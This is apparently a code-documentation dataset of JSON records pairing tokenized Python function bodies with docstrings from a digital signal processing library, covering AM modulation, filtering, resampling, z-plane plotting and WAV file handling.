{"signature": "def am_tx(m,a_mod,fc=<NUM_LIT>):", "body": "m24 = interp24(m)<EOL>t192 = np.arange(len(m24))/<NUM_LIT><EOL>m_max = np.max(np.abs(m24))<EOL>x192 = (<NUM_LIT:1> + a_mod*m24/m_max)*np.cos(<NUM_LIT:2>*np.pi*fc*t192) <EOL>return x192, t192, m24<EOL>", "docstring": "AM transmitter for Case Study of Chapter 17.\n\nAssume input is sampled at 8 Ksps and upsampling\nby 24 is performed to arrive at fs_out = 192 Ksps.\n\nParameters\n----------\nm : ndarray of the input message signal \na_mod : AM modulation index, between 0 and 1\nfc : the carrier frequency in Hz\n\nReturns\n-------\nx192 : ndarray of the upsampled by 24 and modulated carrier\nt192 : ndarray of the upsampled by 24 time axis\nm24 : ndarray of the upsampled by 24 message signal\n\nNotes\n-----\nThe sampling rate of the input signal is assumed to be 8 kHz.\n\nExamples\n--------\n>>> n = arange(0,1000)\n>>> # 1 kHz message signal\n>>> m = cos(2*pi*1000/8000.*n)\n>>> x192, t192 = am_tx(m,0.8,fc=75e3)", "id": "f14910:m45"}
{"signature": "def am_rx(x192):", "body": "x_edet192 = env_det(x192)<EOL>m_rx8 = deci24(x_edet192)<EOL>m_rx8 -= np.mean(m_rx8)<EOL>t8 = np.arange(len(m_rx8))/<NUM_LIT><EOL>\"\"\"<STR_LIT>\"\"\"<EOL>b192,a192 = signal.butter(<NUM_LIT:5>,<NUM_LIT:2>*<NUM_LIT>/<NUM_LIT>)<EOL>m_rx192 = signal.lfilter(b192,a192,x_edet192)<EOL>m_rx192 = signal.lfilter(b192,a192,m_rx192)<EOL>m_rx192 -= np.mean(m_rx192)<EOL>return m_rx8,t8,m_rx192,x_edet192<EOL>", "docstring": "AM envelope detector receiver for the Chapter 17 Case Study\n\nThe receiver bandpass filter is not included in this function.\n\nParameters\n----------\nx192 : ndarray of the AM signal at sampling rate 192 ksps\n\nReturns\n-------\nm_rx8 : ndarray of the demodulated message at 8 ksps\nt8 : ndarray of the time axis at 8 ksps\nm_rx192 : ndarray of the demodulated output at 192 ksps\nx_edet192 : ndarray of the envelope detector output at 192 ksps\n\nNotes\n-----\nThe bandpass filter needed at the receiver front-end can be designed\nusing b_bpf,a_bpf = :func:`am_rx_BPF`.\n\nExamples\n--------\n>>> import numpy as np\n>>> n = np.arange(0,1000)\n>>> # 1 kHz message signal\n>>> m = np.cos(2*np.pi*1000/8000.*n)\n>>> m_rx8,t8,m_rx192,x_edet192 = am_rx(x192)", "id": "f14910:m46"}
{"signature": "def am_rx_BPF(N_order = <NUM_LIT:7>, ripple_dB = <NUM_LIT:1>, B = <NUM_LIT>, fs = <NUM_LIT>):", "body": "b_bpf,a_bpf = signal.cheby1(N_order,ripple_dB,<NUM_LIT:2>*np.array([<NUM_LIT>-B/<NUM_LIT>,<NUM_LIT>+B/<NUM_LIT>])/fs,'<STR_LIT>')<EOL>return b_bpf,a_bpf<EOL>", "docstring": "Bandpass filter design for the AM receiver Case Study of Chapter 17.\n\nDesign a 7th-order Chebyshev type 1 bandpass filter to remove/reduce\nadjacent channel intereference at the envelope detector input.\n\nParameters\n----------\nN_order : the filter order (default = 7)\nripple_dB : the passband ripple in dB (default = 1)\nB : the RF bandwidth (default = 10e3)\nfs : the sampling frequency \n\nReturns\n-------\nb_bpf : ndarray of the numerator filter coefficients\na_bpf : ndarray of the denominator filter coefficients\n\nExamples\n--------\n>>> from scipy import signal\n>>> import numpy as np\n>>> import matplotlib.pyplot as plt\n>>> import sk_dsp_comm.sigsys as ss\n>>> # Use the default values\n>>> b_bpf,a_bpf = ss.am_rx_BPF()\n\nPole-zero plot of the filter.\n\n>>> ss.zplane(b_bpf,a_bpf)\n>>> plt.show()\n\nPlot of the frequency response.\n\n>>> f = np.arange(0,192/2.,.1)\n>>> w, Hbpf = signal.freqz(b_bpf,a_bpf,2*np.pi*f/192)\n>>> plt.plot(f*10,20*np.log10(abs(Hbpf)))\n>>> plt.axis([0,1920/2.,-80,10])\n>>> plt.ylabel(\"Power Spectral Density (dB)\")\n>>> plt.xlabel(\"Frequency (kHz)\")\n>>> plt.show()", "id": "f14910:m47"}
{"signature": "def env_det(x):", "body": "y = np.zeros(len(x))<EOL>for k,xx in enumerate(x):<EOL><INDENT>if xx >= <NUM_LIT:0>:<EOL><INDENT>y[k] = xx<EOL><DEDENT><DEDENT>return y<EOL>", "docstring": "Ideal envelope detector.\n\nThis function retains the positive half cycles of the input signal.\n\nParameters\n----------\nx : ndarray of the input sugnal\n\nReturns\n-------\ny : ndarray of the output signal\n\nExamples\n--------\n>>> n = arange(0,100)\n>>> # 1 kHz message signal\n>>> m = cos(2*pi*1000/8000.*n)\n>>> x192, t192, m24 = am_tx(m,0.8,fc=75e3)\n>>> y = env_det(x192)", "id": "f14910:m48"}
{"signature": "def interp24(x):", "body": "<EOL>b2,a2 = signal.butter(<NUM_LIT:10>,<NUM_LIT:1>/<NUM_LIT>)<EOL>y1 = upsample(x,<NUM_LIT:2>)<EOL>y1 = signal.lfilter(b2,a2,<NUM_LIT:2>*y1)<EOL>b3,a3 = signal.butter(<NUM_LIT:10>,<NUM_LIT:1>/<NUM_LIT>)<EOL>y2 = upsample(y1,<NUM_LIT:3>)<EOL>y2 = signal.lfilter(b3,a3,<NUM_LIT:3>*y2)<EOL>b4,a4 = signal.butter(<NUM_LIT:10>,<NUM_LIT:1>/<NUM_LIT>)<EOL>y3 = upsample(y2,<NUM_LIT:4>)<EOL>y3 = signal.lfilter(b4,a4,<NUM_LIT:4>*y3)<EOL>return y3<EOL>", "docstring": "Interpolate by L = 24 using Butterworth filters.\n\nThe interpolation is done using three stages. Upsample by \nL = 2 and lowpass filter, upsample by 3 and lowpass filter, then\nupsample by L = 4 and lowpass filter. In all cases the lowpass\nfilter is a 10th-order Butterworth lowpass.\n\nParameters\n----------\nx : ndarray of the input signal\n\nReturns\n-------\ny : ndarray of the output signal\n\nNotes\n-----\nThe cutoff frequency of the lowpass filters is 1/2, 1/3, and 1/4 to \ntrack the upsampling by 2, 3, and 4 respectively.\n\nExamples\n--------\n>>> y = interp24(x)", "id": "f14910:m49"}
{"signature": "def deci24(x):", "body": "<EOL>b2,a2 = signal.butter(<NUM_LIT:10>,<NUM_LIT:1>/<NUM_LIT>)<EOL>y1 = signal.lfilter(b2,a2,x)<EOL>y1 = downsample(y1,<NUM_LIT:2>)<EOL>b3,a3 = signal.butter(<NUM_LIT:10>,<NUM_LIT:1>/<NUM_LIT>)<EOL>y2 = signal.lfilter(b3,a3,y1)<EOL>y2 = downsample(y2,<NUM_LIT:3>)<EOL>b4,a4 = signal.butter(<NUM_LIT:10>,<NUM_LIT:1>/<NUM_LIT>)<EOL>y3 = signal.lfilter(b4,a4,y2)<EOL>y3 = downsample(y3,<NUM_LIT:4>)<EOL>return y3<EOL>", "docstring": "Decimate by L = 24 using Butterworth filters.\n\nThe decimation is done using two three stages. Downsample sample by \nL = 2 and lowpass filter, downsample by 3 and lowpass filter, then\ndownsample by L = 4 and lowpass filter. In all cases the lowpass\nfilter is a 10th-order Butterworth lowpass.\n\nParameters\n----------\nx : ndarray of the input signal\n\nReturns\n-------\ny : ndarray of the output signal\n\nNotes\n-----\nThe cutoff frequency of the lowpass filters is 1/2, 1/3, and 1/4 to \ntrack the upsampling by 2, 3, and 4 respectively.\n\nExamples\n--------\n>>> y = deci24(x)", "id": "f14910:m50"}
{"signature": "def upsample(x,L):", "body": "N_input = len(x)<EOL>y = np.hstack((x.reshape(N_input,<NUM_LIT:1>),np.zeros((N_input, int(L-<NUM_LIT:1>)))))<EOL>y = y.flatten()<EOL>return y<EOL>", "docstring": "Upsample by factor L\n\nInsert L - 1 zero samples in between each input sample.\n\nParameters\n----------\nx : ndarray of input signal values\nL : upsample factor\n\nReturns\n-------\ny : ndarray of the output signal values\n\nExamples\n--------\n>>> y = upsample(x,3)", "id": "f14910:m51"}
{"signature": "def downsample(x,M,p=<NUM_LIT:0>):", "body": "if not isinstance(M, int):<EOL><INDENT>raise TypeError(\"<STR_LIT>\")<EOL><DEDENT>x = x[<NUM_LIT:0>:int(np.floor(len(x)/M))*M]<EOL>x = x.reshape((int(np.floor(len(x)/M)),M))<EOL>y = x[:,p]<EOL>return y<EOL>", "docstring": "Downsample by factor M\n\nKeep every Mth sample of the input. The phase of the input samples\nkept can be selected.\n\nParameters\n----------\nx : ndarray of input signal values\nM : downsample factor\np : phase of decimated value, 0 (default), 1, ..., M-1\n\nReturns\n-------\ny : ndarray of the output signal values\n\nExamples\n--------\n>>> y = downsample(x,3)\n>>> y = downsample(x,3,1)", "id": "f14910:m52"}
{"signature": "def unique_cpx_roots(rlist,tol = <NUM_LIT>):", "body": "uniq = [rlist[<NUM_LIT:0>]]<EOL>mult = [<NUM_LIT:1>]<EOL>for k in range(<NUM_LIT:1>,len(rlist)):<EOL><INDENT>N_uniq = len(uniq)<EOL>for m in range(N_uniq):<EOL><INDENT>if abs(rlist[k]-uniq[m]) <= tol:<EOL><INDENT>mult[m] += <NUM_LIT:1><EOL>uniq[m] = (uniq[m]*(mult[m]-<NUM_LIT:1>) + rlist[k])/float(mult[m])<EOL>break<EOL><DEDENT><DEDENT>uniq = np.hstack((uniq,rlist[k]))<EOL>mult = np.hstack((mult,[<NUM_LIT:1>]))<EOL><DEDENT>return np.array(uniq), np.array(mult)<EOL>", "docstring": "The average of the root values is used when multiplicity \nis greater than one.\n\nMark Wickert October 2016", "id": "f14910:m53"}
{"signature": "def zplane(b,a,auto_scale=True,size=<NUM_LIT:2>,detect_mult=True,tol=<NUM_LIT>):", "body": "M = len(b) - <NUM_LIT:1><EOL>N = len(a) - <NUM_LIT:1><EOL>x_scale = <NUM_LIT>*size<EOL>y_scale = <NUM_LIT>*size   <EOL>x_off = <NUM_LIT><EOL>y_off = <NUM_LIT><EOL>if M > <NUM_LIT:0>:<EOL><INDENT>N_roots = np.roots(b)<EOL><DEDENT>if N > <NUM_LIT:0>:<EOL><INDENT>D_roots = np.roots(a)<EOL><DEDENT>if auto_scale:<EOL><INDENT>if M > <NUM_LIT:0> and N > <NUM_LIT:0>:<EOL><INDENT>size = max(np.max(np.abs(N_roots)),np.max(np.abs(D_roots)))+<NUM_LIT><EOL><DEDENT>elif M > <NUM_LIT:0>:<EOL><INDENT>size = max(np.max(np.abs(N_roots)),<NUM_LIT:1.0>)+<NUM_LIT><EOL><DEDENT>elif N > <NUM_LIT:0>:<EOL><INDENT>size = max(<NUM_LIT:1.0>,np.max(np.abs(D_roots)))+<NUM_LIT><EOL><DEDENT>else:<EOL><INDENT>size = <NUM_LIT><EOL><DEDENT><DEDENT>plt.figure(figsize=(<NUM_LIT:5>,<NUM_LIT:5>))<EOL>plt.axis('<STR_LIT>')<EOL>r = np.linspace(<NUM_LIT:0>,<NUM_LIT:2>*np.pi,<NUM_LIT:200>)<EOL>plt.plot(np.cos(r),np.sin(r),'<STR_LIT>')<EOL>plt.plot([-size,size],[<NUM_LIT:0>,<NUM_LIT:0>],'<STR_LIT>')<EOL>plt.plot([<NUM_LIT:0>,<NUM_LIT:0>],[-size,size],'<STR_LIT>')<EOL>if M > <NUM_LIT:0>:<EOL><INDENT>if detect_mult == True:<EOL><INDENT>N_uniq, N_mult = unique_cpx_roots(N_roots,tol=tol)<EOL>plt.plot(np.real(N_uniq),np.imag(N_uniq),'<STR_LIT>',mfc='<STR_LIT:None>',ms=<NUM_LIT:8>)<EOL>idx_N_mult = np.nonzero(np.ravel(N_mult><NUM_LIT:1>))[<NUM_LIT:0>]<EOL>for k in range(len(idx_N_mult)):<EOL><INDENT>x_loc = np.real(N_uniq[idx_N_mult[k]]) + x_off*x_scale<EOL>y_loc =np.imag(N_uniq[idx_N_mult[k]]) + y_off*y_scale<EOL>plt.text(x_loc,y_loc,str(N_mult[idx_N_mult[k]]),ha='<STR_LIT>',va='<STR_LIT>',fontsize=<NUM_LIT:10>)<EOL><DEDENT><DEDENT>else:<EOL><INDENT>plt.plot(np.real(N_roots),np.imag(N_roots),'<STR_LIT>',mfc='<STR_LIT:None>',ms=<NUM_LIT:8>)                <EOL><DEDENT><DEDENT>if N > <NUM_LIT:0>:<EOL><INDENT>if detect_mult == True:<EOL><INDENT>D_uniq, D_mult=unique_cpx_roots(D_roots,tol=tol)<EOL>plt.plot(np.real(D_uniq),np.imag(D_uniq),'<STR_LIT>',ms=<NUM_LIT:8>)<EOL>idx_D_mult = np.nonzero(np.ravel(D_mult><NUM_LIT:1>))[<NUM_LIT:0>]<EOL>for k in range(len(idx_D_mult)):<EOL><INDENT>x_loc = np.real(D_uniq[idx_D_mult[k]]) + x_off*x_scale<EOL>y_loc =np.imag(D_uniq[idx_D_mult[k]]) + y_off*y_scale<EOL>plt.text(x_loc,y_loc,str(D_mult[idx_D_mult[k]]),ha='<STR_LIT>',va='<STR_LIT>',fontsize=<NUM_LIT:10>)            <EOL><DEDENT><DEDENT>else:<EOL><INDENT>plt.plot(np.real(D_roots),np.imag(D_roots),'<STR_LIT>',ms=<NUM_LIT:8>)                <EOL><DEDENT><DEDENT>if M - N < <NUM_LIT:0>:<EOL><INDENT>plt.plot(<NUM_LIT:0.0>,<NUM_LIT:0.0>,'<STR_LIT>',mfc='<STR_LIT:None>',ms=<NUM_LIT:8>)<EOL><DEDENT>elif M - N > <NUM_LIT:0>:<EOL><INDENT>plt.plot(<NUM_LIT:0.0>,<NUM_LIT:0.0>,'<STR_LIT>',ms=<NUM_LIT:8>)<EOL><DEDENT>if abs(M - N) > <NUM_LIT:1>:<EOL><INDENT>plt.text(x_off*x_scale,y_off*y_scale,str(abs(M-N)),ha='<STR_LIT>',va='<STR_LIT>',fontsize=<NUM_LIT:10>)        <EOL><DEDENT>plt.xlabel('<STR_LIT>')<EOL>plt.ylabel('<STR_LIT>')<EOL>plt.title('<STR_LIT>')<EOL>plt.axis([-size,size,-size,size])<EOL>return M,N<EOL>", "docstring": "Create an z-plane pole-zero plot.\n\nCreate an z-plane pole-zero plot using the numerator\nand denominator z-domain system function coefficient\nndarrays b and a respectively. Assume descending powers of z.\n\nParameters\n----------\nb : ndarray of the numerator coefficients\na : ndarray of the denominator coefficients\nauto_scale : bool (default True)\nsize : plot radius maximum when scale = False\n\nReturns\n-------\n(M,N) : tuple of zero and pole counts + plot window\n\nNotes\n-----\nThis function tries to identify repeated poles and zeros and will \nplace the multiplicity number above and to the right of the pole or zero.\nThe difficulty is setting the tolerance for this detection. Currently it\nis set at 1e-3 via the function signal.unique_roots.\n\nExamples\n--------\n>>> # Here the plot is generated using auto_scale\n>>> zplane(b,a)\n>>> # Here the plot is generated using manual scaling\n>>> zplane(b,a,False,1.5)", "id": "f14910:m54"}
{"signature": "def rect_conv(n,N_len):", "body": "y = np.zeros(len(n))<EOL>for k in range(len(n)):<EOL><INDENT>if n[k] >= <NUM_LIT:0> and n[k] < N_len-<NUM_LIT:1>:<EOL><INDENT>y[k] = n[k] + <NUM_LIT:1><EOL><DEDENT>elif n[k] >= N_len-<NUM_LIT:1> and n[k] <= <NUM_LIT:2>*N_len-<NUM_LIT:2>:<EOL><INDENT>y[k] = <NUM_LIT:2>*N_len-<NUM_LIT:1>-n[k]<EOL><DEDENT><DEDENT>return y<EOL>", "docstring": "The theoretical result of convolving two rectangle sequences.\n\nThe result is a triangle. The solution is\nbased on pure analysis. Simply coded as opposed \nto efficiently coded.\n\nParameters\n----------\nn : ndarray of time axis\nN_len : rectangle pulse duration\n\nReturns\n-------\ny : ndarray of of output signal\n\nExamples\n--------\n>>> import matplotlib.pyplot as plt\n>>> from numpy import arange\n>>> from sk_dsp_comm.sigsys import rect_conv\n>>> n = arange(-5,20)\n>>> y = rect_conv(n,6)\n>>> plt.plot(n, y)\n>>> plt.show()", "id": "f14910:m55"}
{"signature": "def biquad2(w_num, r_num, w_den, r_den):", "body": "b = np.array([<NUM_LIT:1>, -<NUM_LIT:2>*r_num*np.cos(w_num), r_num**<NUM_LIT:2>])<EOL>a = np.array([<NUM_LIT:1>, -<NUM_LIT:2>*r_den*np.cos(w_den), r_den**<NUM_LIT:2>])<EOL>return b, a<EOL>", "docstring": "A biquadratic filter in terms of conjugate pole and zero pairs.\n\nParameters\n----------\nw_num : zero frequency (angle) in rad/sample\nr_num : conjugate zeros radius\nw_den : pole frequency (angle) in rad/sample\nr_den : conjugate poles radius; less than 1 for stability\n\nReturns\n-------\nb : ndarray of numerator coefficients\na : ndarray of denominator coefficients\n\nExamples\n--------\n>>> b,a = biquad2(pi/4., 1, pi/4., 0.95)", "id": "f14910:m56"}
{"signature": "def from_wav(filename):", "body": "fs, x = wavfile.read(filename)<EOL>return fs, x/<NUM_LIT><EOL>", "docstring": "Read a wave file.\n\nA wrapper function for scipy.io.wavfile.read\nthat also includes int16 to float [-1,1] scaling.\n\nParameters\n----------\nfilename : file name string\n\nReturns\n-------\nfs : sampling frequency in Hz\nx : ndarray of normalized to 1 signal samples\n\nExamples\n--------\n>>> fs,x = from_wav('test_file.wav')", "id": "f14910:m58"}
{"signature": "def to_wav(filename,rate,x):", "body": "x16 = np.int16(x*<NUM_LIT>)<EOL>wavfile.write(filename, rate, x16)<EOL>", "docstring": "Write a wave file.\n\nA wrapper function for scipy.io.wavfile.write\nthat also includes int16 scaling and conversion.\nAssume input x is [-1,1] values.\n\nParameters\n----------\nfilename : file name string\nrate : sampling frequency in Hz\n\nReturns\n-------\nNothing : writes only the *.wav file\n\nExamples\n--------\n>>> to_wav('test_file.wav', 8000, x)", "id": "f14910:m59"}
{"signature": "def freqz_resp(b,a=[<NUM_LIT:1>],mode = '<STR_LIT>',fs=<NUM_LIT:1.0>,Npts = <NUM_LIT>,fsize=(<NUM_LIT:6>,<NUM_LIT:4>)):", "body": "f = np.arange(<NUM_LIT:0>,Npts)/(<NUM_LIT>*Npts)<EOL>w,H = signal.freqz(b,a,<NUM_LIT:2>*np.pi*f)<EOL>plt.figure(figsize=fsize)<EOL>if mode.lower() == '<STR_LIT>':<EOL><INDENT>plt.plot(f*fs,<NUM_LIT:20>*np.log10(np.abs(H)))<EOL>plt.xlabel('<STR_LIT>')<EOL>plt.ylabel('<STR_LIT>')<EOL>plt.title('<STR_LIT>')<EOL><DEDENT>elif mode.lower() == '<STR_LIT>':<EOL><INDENT>plt.plot(f*fs,np.angle(H))<EOL>plt.xlabel('<STR_LIT>')<EOL>plt.ylabel('<STR_LIT>')<EOL>plt.title('<STR_LIT>')<EOL><DEDENT>elif (mode.lower() == '<STR_LIT>') or (mode.lower() == '<STR_LIT>'):<EOL><INDENT>\"\"\"<STR_LIT>\"\"\"<EOL>theta = np.unwrap(np.angle(H))<EOL>theta2 = np.unwrap(<NUM_LIT:2>*theta)/<NUM_LIT><EOL>theta_dif = np.diff(theta2)<EOL>f_diff = np.diff(f)<EOL>Tg = -np.diff(theta2)/np.diff(w)<EOL>idx = pylab.find(<NUM_LIT:20>*np.log10(H[:-<NUM_LIT:1>]) < -<NUM_LIT>)<EOL>Tg[idx] = np.zeros(len(idx))<EOL>max_Tg = np.max(Tg)<EOL>if mode.lower() == '<STR_LIT>':<EOL><INDENT>max_Tg /= fs<EOL>plt.plot(f[:-<NUM_LIT:1>]*fs,Tg/fs)<EOL>plt.ylim([<NUM_LIT:0>,<NUM_LIT>*max_Tg])<EOL><DEDENT>else:<EOL><INDENT>plt.plot(f[:-<NUM_LIT:1>]*fs,Tg)<EOL>plt.ylim([<NUM_LIT:0>,<NUM_LIT>*max_Tg])<EOL><DEDENT>plt.xlabel('<STR_LIT>')<EOL>if mode.lower() == '<STR_LIT>':<EOL><INDENT>plt.ylabel('<STR_LIT>')<EOL><DEDENT>else:<EOL><INDENT>plt.ylabel('<STR_LIT>')<EOL><DEDENT>plt.title('<STR_LIT>')<EOL><DEDENT>else:<EOL><INDENT>s1 = '<STR_LIT>'<EOL>s2 = '<STR_LIT>'<EOL>print(s1 + s2)<EOL><DEDENT>", "docstring": "A method for displaying digital filter frequency response magnitude,\nphase, and group delay. A plot is produced using matplotlib\n\nfreq_resp(self,mode = 'dB',Npts = 1024)\n\nA method for displaying the filter frequency response magnitude,\nphase, and group delay. A plot is produced using matplotlib\n\nfreqz_resp(b,a=[1],mode = 'dB',Npts = 1024,fsize=(6,4))\n\n    b = ndarray of numerator coefficients\n    a = ndarray of denominator coefficents\n mode = display mode: 'dB' magnitude, 'phase' in radians, or \n        'groupdelay_s' in samples and 'groupdelay_t' in sec, \n        all versus frequency in Hz\n Npts = number of points to plot; defult is 1024\nfsize = figure size; defult is (6,4) inches\n\nMark Wickert, January 2015", "id": "f14911:m0"}
{"signature": "def __init__(self,M_change = <NUM_LIT:12>,fcutoff=<NUM_LIT>,N_filt_order=<NUM_LIT:8>,ftype='<STR_LIT>'):", "body": "self.M = M_change <EOL>self.fc = fcutoff*<NUM_LIT> <EOL>self.N_forder = N_filt_order<EOL>if ftype.lower() == '<STR_LIT>':<EOL><INDENT>self.b, self.a = signal.butter(self.N_forder,<NUM_LIT:2>/self.M*self.fc)<EOL><DEDENT>elif ftype.lower() == '<STR_LIT>':<EOL><INDENT>self.b, self.a = signal.cheby1(self.N_forder,<NUM_LIT>,<NUM_LIT:2>/self.M*self.fc)<EOL><DEDENT>else:<EOL><INDENT>print('<STR_LIT>')<EOL><DEDENT>", "docstring": "Object constructor method", "id": "f14911:c0:m0"}
{"signature": "def up(self,x):", "body": "y = self.M*ssd.upsample(x,self.M)<EOL>y = signal.lfilter(self.b,self.a,y)<EOL>return y<EOL>", "docstring": "Upsample and filter the signal", "id": "f14911:c0:m1"}
{"signature": "def dn(self,x):", "body": "y = signal.lfilter(self.b,self.a,x)<EOL>y = ssd.downsample(y,self.M)<EOL>return y<EOL>", "docstring": "Downsample and filter the signal", "id": "f14911:c0:m2"}
{"signature": "def __init__(self,b):", "body": "self.N_forder = len(b)<EOL>self.b = b<EOL>print('<STR_LIT>' % self.N_forder)<EOL>", "docstring": "Object constructor method", "id": "f14911:c1:m0"}
{"signature": "def filter(self,x):", "body": "y = signal.lfilter(self.b,[<NUM_LIT:1>],x)<EOL>return y<EOL>", "docstring": "Filter the signal", "id": "f14911:c1:m1"}
{"signature": "def up(self,x,L_change = <NUM_LIT:12>):", "body": "y = L_change*ssd.upsample(x,L_change)<EOL>y = signal.lfilter(self.b,[<NUM_LIT:1>],y)<EOL>return y<EOL>", "docstring": "Upsample and filter the signal", "id": "f14911:c1:m2"}
{"signature": "def dn(self,x,M_change = <NUM_LIT:12>):", "body": "y = signal.lfilter(self.b,[<NUM_LIT:1>],x)<EOL>y = ssd.downsample(y,M_change)<EOL>return y<EOL>", "docstring": "Downsample and filter the signal", "id": "f14911:c1:m3"}
{"signature": "def zplane(self,auto_scale=True,size=<NUM_LIT:2>,detect_mult=True,tol=<NUM_LIT>):", "body": "ssd.zplane(self.b,[<NUM_LIT:1>],auto_scale,size,tol)<EOL>", "docstring": "Plot the poles and zeros of the FIR filter in the z-plane", "id": "f14911:c1:m5"}
{"signature": "def __init__(self,sos):", "body": "self.N_forder = np.sum(np.sign(np.abs(sos[:,<NUM_LIT:2>])))+ np.sum(np.sign(np.abs(sos[:,<NUM_LIT:1>])))<EOL>self.sos = sos<EOL>print('<STR_LIT>' % self.N_forder)<EOL>", "docstring": "Object constructor method", "id": "f14911:c2:m0"}
{"signature": "def filter(self,x):", "body": "y = signal.sosfilt(self.sos,x)<EOL>return y<EOL>", "docstring": "Filter the signal using second-order sections", "id": "f14911:c2:m1"}
{"signature": "def up(self,x,L_change = <NUM_LIT:12>):", "body": "y = L_change*ssd.upsample(x,L_change)<EOL>y = signal.sosfilt(self.sos,y)<EOL>return y<EOL>", "docstring": "Upsample and filter the signal", "id": "f14911:c2:m2"}
{"signature": "def dn(self,x,M_change = <NUM_LIT:12>):", "body": "y = signal.sosfilt(self.sos,x)<EOL>y = ssd.downsample(y,M_change)<EOL>return y<EOL>", "docstring": "Downsample and filter the signal", "id": "f14911:c2:m3"}
{"signature": "def freq_resp(self, mode= '<STR_LIT>', fs = <NUM_LIT>, ylim = [-<NUM_LIT:100>,<NUM_LIT:2>]):", "body": "iir_d.freqz_resp_cas_list([self.sos],mode,fs=fs)<EOL>pylab.grid()<EOL>pylab.ylim(ylim)<EOL>", "docstring": "Frequency response plot", "id": "f14911:c2:m4"}
{"signature": "def zplane(self,auto_scale=True,size=<NUM_LIT:2>,detect_mult=True,tol=<NUM_LIT>):", "body": "iir_d.sos_zplane(self.sos,auto_scale,size,tol)<EOL>", "docstring": "Plot the poles and zeros of the FIR filter in the z-plane", "id": "f14911:c2:m5"}
{"signature": "def farrow_resample(x, fs_old, fs_new):", "body": "<EOL>v3 = signal.lfilter([<NUM_LIT:1>/<NUM_LIT>, -<NUM_LIT:1>/<NUM_LIT>, <NUM_LIT:1>/<NUM_LIT>, -<NUM_LIT:1>/<NUM_LIT>],[<NUM_LIT:1>],x)<EOL>v2 = signal.lfilter([<NUM_LIT:0>, <NUM_LIT:1>/<NUM_LIT>, -<NUM_LIT:1>, <NUM_LIT:1>/<NUM_LIT>],[<NUM_LIT:1>],x)<EOL>v1 = signal.lfilter([-<NUM_LIT:1>/<NUM_LIT>, <NUM_LIT:1>, -<NUM_LIT:1>/<NUM_LIT>, -<NUM_LIT:1>/<NUM_LIT>],[<NUM_LIT:1>],x)<EOL>v0 = signal.lfilter([<NUM_LIT:0>, <NUM_LIT:0>, <NUM_LIT:1>],[<NUM_LIT:1>],x)<EOL>Ts_old = <NUM_LIT:1>/float(fs_old)<EOL>Ts_new = <NUM_LIT:1>/float(fs_new)<EOL>T_end = Ts_old*(len(x)-<NUM_LIT:3>)<EOL>t_new = np.arange(<NUM_LIT:0>,T_end+Ts_old,Ts_new)<EOL>if x.dtype == np.dtype('<STR_LIT>') or x.dtype == np.dtype('<STR_LIT>'):<EOL><INDENT>y = np.zeros(len(t_new)) + <NUM_LIT>*np.zeros(len(t_new))<EOL><DEDENT>else:<EOL><INDENT>y = np.zeros(len(t_new))<EOL><DEDENT>for n in range(len(t_new)):<EOL><INDENT>n_old = int(np.floor(n*Ts_new/Ts_old))<EOL>mu = (n*Ts_new - n_old*Ts_old)/Ts_old<EOL>y[n] = ((v3[n_old+<NUM_LIT:1>]*mu + v2[n_old+<NUM_LIT:1>])*mu<EOL>+ v1[n_old+<NUM_LIT:1>])*mu + v0[n_old+<NUM_LIT:1>]<EOL><DEDENT>return y<EOL>", "docstring": "Parameters\n----------\nx : Input list representing a signal vector needing resampling.\nfs_old : Starting/old sampling frequency.\nfs_new : New sampling frequency.\n\nReturns\n-------\ny : List representing the signal vector resampled at the new frequency.\n\nNotes\n-----\n\nA cubic interpolator using a Farrow structure is used resample the\ninput data at a new sampling rate that may be an irrational multiple of\nthe input sampling rate.\n\nTime alignment can be found for a integer value M, found with the following:\n\n.. math:: f_{s,out} = f_{s,in} (M - 1) / M\n\nThe filter coefficients used here and a more comprehensive listing can be\nfound in H. Meyr, M. Moeneclaey, & S. Fechtel, \"Digital Communication \nReceivers,\" Wiley, 1998, Chapter 9, pp. 521-523.\n\nAnother good paper on variable interpolators is: L. Erup, F. Gardner, &\nR. Harris, \"Interpolation in Digital Modems--Part II: Implementation\nand Performance,\" IEEE Comm. Trans., June 1993, pp. 998-1008.\n\nA founding paper on the subject of interpolators is: C. W. Farrow, \"A\nContinuously variable Digital Delay Element,\" Proceedings of the IEEE\nIntern. Symp. on Circuits Syst., pp. 2641-2645, June 1988.\n\nMark Wickert April 2003, recoded to Python November 2013\n\nExamples\n--------\n\nThe following example uses a QPSK signal with rc pulse shaping, and time alignment at M = 15.\n\n>>> import matplotlib.pyplot as plt\n>>> from numpy import arange\n>>> from sk_dsp_comm import digitalcom as dc\n>>> Ns = 8\n>>> Rs = 1.\n>>> fsin = Ns*Rs\n>>> Tsin = 1 / fsin\n>>> N = 200\n>>> ts = 1\n>>> x, b, data = dc.MPSK_bb(N+12, Ns, 4, 'rc')\n>>> x = x[12*Ns:]\n>>> xxI = x.real\n>>> M = 15\n>>> fsout = fsin * (M-1) / M\n>>> Tsout = 1. / fsout\n>>> xI = dc.farrow_resample(xxI, fsin, fsin)\n>>> tx = arange(0, len(xI)) / fsin\n>>> yI = dc.farrow_resample(xxI, fsin, fsout)\n>>> ty = arange(0, len(yI)) / fsout\n>>> plt.plot(tx - Tsin, xI)\n>>> plt.plot(tx[ts::Ns] - Tsin, xI[ts::Ns], 'r.')\n>>> plt.plot(ty[ts::Ns] - Tsout, yI[ts::Ns], 'g.')\n>>> plt.title(r'Impact of Asynchronous Sampling')\n>>> plt.ylabel(r'Real Signal Amplitude')\n>>> plt.xlabel(r'Symbol Rate Normalized Time')\n>>> plt.xlim([0, 20])\n>>> plt.grid()\n>>> plt.show()", "id": "f14912:m0"}
{"signature": "def eye_plot(x,L,S=<NUM_LIT:0>):", "body": "plt.figure(figsize=(<NUM_LIT:6>,<NUM_LIT:4>))<EOL>idx = np.arange(<NUM_LIT:0>,L+<NUM_LIT:1>)<EOL>plt.plot(idx,x[S:S+L+<NUM_LIT:1>],'<STR_LIT:b>')<EOL>k_max = int((len(x) - S)/L)-<NUM_LIT:1><EOL>for k in range(<NUM_LIT:1>,k_max):<EOL><INDENT>plt.plot(idx,x[S+k*L:S+L+<NUM_LIT:1>+k*L],'<STR_LIT:b>')<EOL><DEDENT>plt.grid()<EOL>plt.xlabel('<STR_LIT>')<EOL>plt.ylabel('<STR_LIT>')<EOL>plt.title('<STR_LIT>')<EOL>return <NUM_LIT:0><EOL>", "docstring": "Eye pattern plot of a baseband digital communications waveform.\n\nThe signal must be real, but can be multivalued in terms of the underlying\nmodulation scheme. Used for BPSK eye plots in the Case Study article.\n\nParameters\n----------\nx : ndarray of the real input data vector/array\nL : display length in samples (usually two symbols)\nS : start 